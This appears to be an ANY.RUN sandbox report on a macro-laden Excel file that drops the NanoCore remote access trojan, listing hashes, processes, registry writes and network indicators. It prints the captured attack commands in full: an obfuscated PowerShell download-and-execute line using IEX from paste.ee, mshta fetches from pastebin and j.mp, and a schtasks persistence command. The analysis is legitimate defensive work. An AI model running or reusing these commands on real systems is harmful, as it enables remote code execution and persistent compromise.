File name:

c3164407257b993dc3eb339805822f2c597e3985b3ae8bf8f08d44e3aa00fea3.xlsm

Full analysis: https://app.any.run/tasks/cb7c326a-d18b-46fc-9bfd-0b5ec445840b
Verdict: Malicious activity
Threats:

NanoCore is a Remote Access Trojan or RAT. This malware is highly customizable with plugins which allow attackers to tailor its functionality to their needs. Nanocore is created with the .NET framework and it’s available for purchase for just $25 from its “official” website.

Malware Trends Tracker     >>>
Analysis date: January 18, 2020, 12:10:34
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-close
trojan
nanocore
rat
Indicators:
MIME: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
File info: Microsoft Excel 2007+
MD5:

C62D0AF3BCF7063F59465671C686AA8C

SHA1:

3FD5698DB16D0AA72162B915C2C6CCA146FB4E5B

SHA256:

C3164407257B993DC3EB339805822F2C597E3985B3AE8BF8F08D44E3AA00FEA3

SSDEEP:

1536:qISZv7u8aNE8ZsqmasbNDGXT9W2rn7eC7NDSU0F6:qISZv7raO8Vt4y9WUWUx

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • EXCEL.EXE (PID: 2552)

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 2552)

    • Changes the autorun value in the registry

      • mshta.exe (PID: 1744)

    • Uses Task Scheduler to run other applications

      • mshta.exe (PID: 1744)

    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 2952)

    • NANOCORE was detected

      • msbuild.exe (PID: 2956)

    • Connects to CnC server

      • msbuild.exe (PID: 2956)

    • Executes PowerShell scripts

      • mshta.exe (PID: 2776)

  • SUSPICIOUS

    • Creates files in the user directory

      • mshta.exe (PID: 1744)
      • mshta.exe (PID: 2776)
      • powershell.exe (PID: 1016)
      • powershell.exe (PID: 4044)
      • msbuild.exe (PID: 2956)

    • Starts CMD.EXE for commands execution

      • mshta.exe (PID: 1744)

    • Application launched itself

      • mshta.exe (PID: 1744)

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • mshta.exe (PID: 1744)

    • Uses TASKKILL.EXE to kill Office Apps

      • cmd.exe (PID: 2992)

    • Connects to unusual port

      • msbuild.exe (PID: 2956)

  • INFO

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 2552)

    • Reads internet explorer settings

      • mshta.exe (PID: 1744)
      • mshta.exe (PID: 2776)

    • Reads settings of System Certificates

      • powershell.exe (PID: 4044)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xlsm | Excel Microsoft Office Open XML Format document (with Macro) (50.8)
.xlsx | Excel Microsoft Office Open XML Format document (30)
.zip | Open Packaging Conventions container (15.4)
.zip | ZIP compressed archive (3.5)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0006
ZipCompression: Deflated
ZipModifyDate: 1980:01:01 00:00:00
ZipCRC: 0x66e51af1
ZipCompressedSize: 389
ZipUncompressedSize: 1359
ZipFileName: [Content_Types].xml

XMP

Creator: -

XML

LastModifiedBy: -
CreateDate: 2006:09:16 00:00:00Z
ModifyDate: 2020:01:04 07:34:39Z
Application: Microsoft Excel
DocSecurity: None
ScaleCrop: No
HeadingPairs:
  • Worksheets
  • 3
TitlesOfParts:
  • Sheet1
  • Sheet2
  • Sheet3
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
AppVersion: 12
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
53
Monitored processes
15
Malicious processes
5
Suspicious processes
1

Behavior graph

Click at the process to see the details
start excel.exe no specs mshta.exe cmd.exe no specs mshta.exe schtasks.exe no specs taskkill.exe no specs taskkill.exe no specs powershell.exe powershell.exe calc.exe no specs calc.exe no specs calc.exe no specs calc.exe no specs calc.exe no specs #NANOCORE msbuild.exe

Process information

PID
CMD
Path
Indicators
Parent process
1016"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);[void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow$_$loadStri$_$g'.replace('$_f7f81a39-5f63-5b42-9efd-1f13b5431005#39;,'n'),[Microsoft.VisualBasic.CallType]::Method,'https://paste.ee/r/lyLMu')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow$_$loadStri$_$g'.replace('$_f7f81a39-5f63-5b42-9efd-1f13b5431005#39;,'n'),[Microsoft.VisualBasic.CallType]::Method,'http://paste.ee/r/Mzh1I').replace('*','0x')|IEX;[vroombrooomkrooom]::kekedoyouloveme('calc.exe',$f)C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
1504"{path}"C:\WINDOWS\system32\calc.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Calculator
Exit code:
4294967295
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\calc.exe
c:\systemroot\system32\ntdll.dll
1744mshta http:\\j.mp\axsxaY6C:\Windows\system32\mshta.exe
EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\mshta.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\mshtml.dll
c:\windows\system32\psapi.dll
1756"{path}"C:\WINDOWS\system32\calc.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Calculator
Exit code:
4294967295
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\calc.exe
c:\systemroot\system32\ntdll.dll
2552"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
2716taskkill /f /im winword.exeC:\Windows\system32\taskkill.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\taskkill.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\version.dll
c:\windows\system32\user32.dll
2776"C:\Windows\System32\mshta.exe" http:\\pastebin.com\raw\JF0Zjp3gC:\Windows\System32\mshta.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\mshta.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\mshtml.dll
c:\windows\system32\psapi.dll
2880"{path}"C:\WINDOWS\system32\calc.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Calculator
Exit code:
4294967295
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\calc.exe
c:\systemroot\system32\ntdll.dll
2952"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 60 /tn (+main+) /tr "mshta http:\\pastebin.com\raw\JF0Zjp3g" /F C:\Windows\System32\schtasks.exe—mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
2956"{path}"C:\Windows\Microsoft.NET\Framework\v2.0.50727\msbuild.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
MSBuild.exe
Exit code:
0
Version:
2.0.50727.5420 built by: Win7SP1
Modules
Images
c:\windows\microsoft.net\framework\v2.0.50727\msbuild.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
Total events
1 700
Read events
1 397
Write events
287
Delete events
16

Modification events

(PID) Process:(2552) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:writeName:`~c
Value:
607E6300F8090000010000000000000000000000
(PID) Process:(2552) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2552) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1041
Value:
Off
(PID) Process:(2552) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1046
Value:
Off
(PID) Process:(2552) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1036
Value:
Off
(PID) Process:(2552) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1031
Value:
Off
(PID) Process:(2552) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1040
Value:
Off
(PID) Process:(2552) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1049
Value:
Off
(PID) Process:(2552) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:3082
Value:
Off
(PID) Process:(2552) EXCEL.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:EXCELFiles
Value:
1345454105
Executable files
0
Suspicious files
8
Text files
13
Unknown types
2

Dropped files

PID
Process
Filename
Type
2552EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVRAAE0.tmp.cvr —
MD5:—
SHA256:—
2552EXCEL.EXEC:\Users\admin\AppData\Local\Temp\~$c3164407257b993dc3eb339805822f2c597e3985b3ae8bf8f08d44e3aa00fea3.xlsm —
MD5:—
SHA256:—
2552EXCEL.EXEC:\Users\admin\AppData\Local\Temp\~DFC23A621956862873.TMP —
MD5:—
SHA256:—
1744mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\error[1] —
MD5:—
SHA256:—
1744mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I0488CJO\error[1] —
MD5:—
SHA256:—
1744mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\warning[1] —
MD5:—
SHA256:—
1744mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\warning[1] —
MD5:—
SHA256:—
4044powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IDZRY4MWXEQZBNGGNB2O.temp —
MD5:—
SHA256:—
1016powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LBFTHQ386CX8NY3W38OB.temp —
MD5:—
SHA256:—
1744mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\1366743480-ieretrofit[1].jshtml
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
14
DNS requests
11
Threats
30

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2776
mshta.exe
GET
200
104.20.67.143:80
http://pastebin.com/raw/JF0Zjp3g
US
html
622 b
malicious
1744
mshta.exe
GET
301
67.199.248.16:80
http://j.mp/axsxaY6
US
html
140 b
shared
1016
powershell.exe
GET
301
104.18.49.20:80
http://paste.ee/r/Mzh1I
US
html
162 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1744
mshta.exe
67.199.248.16:80
j.mp
Bitly Inc
US
shared
1744
mshta.exe
172.217.22.9:443
www.blogger.com
Google Inc.
US
whitelisted
1016
powershell.exe
104.18.49.20:443
paste.ee
Cloudflare Inc
US
shared
1016
powershell.exe
104.18.49.20:80
paste.ee
Cloudflare Inc
US
shared
2956
msbuild.exe
8.8.8.8:53
—
Google Inc.
US
malicious
2956
msbuild.exe
23.106.160.1:8756
kada.duckdns.org
Nobis Technology Group, LLC
US
malicious
1744
mshta.exe
172.217.23.161:443
xnasxjnasn.blogspot.com
Google Inc.
US
whitelisted
2776
mshta.exe
104.20.67.143:80
pastebin.com
Cloudflare Inc
US
malicious
4044
powershell.exe
104.18.49.20:443
paste.ee
Cloudflare Inc
US
shared
1744
mshta.exe
172.217.23.109:443
accounts.google.com
Google Inc.
US
suspicious

DNS requests

Domain
IP
Reputation
j.mp
  • 67.199.248.16
  • 67.199.248.17
shared
xnasxjnasn.blogspot.com
  • 172.217.23.161
whitelisted
www.blogger.com
  • 172.217.22.9
shared
resources.blogblog.com
  • 172.217.22.9
whitelisted
accounts.google.com
  • 172.217.23.109
shared
pastebin.com
  • 104.20.67.143
  • 104.20.68.143
malicious
google.com
  • 172.217.21.206
  • 216.58.206.14
malicious
paste.ee
  • 104.18.49.20
  • 104.18.48.20
malicious
kada.duckdns.org
  • 23.106.160.1
malicious

Threats

PID
Process
Class
Message
1744
mshta.exe
Misc activity
SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7)
2776
mshta.exe
Misc activity
SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7)
2956
msbuild.exe
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
2956
msbuild.exe
A Network Trojan was detected
ET TROJAN Possible NanoCore C2 60B
2956
msbuild.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
2956
msbuild.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
2956
msbuild.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
2956
msbuild.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
2956
msbuild.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
2956
msbuild.exe
A Network Trojan was detected
REMOTE [PTsecurity] NanoCore.RAT
19 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
c3164407257b993dc3eb339805822f2c597e3985b3ae8bf8f08d44e3aa00fea3.xlsm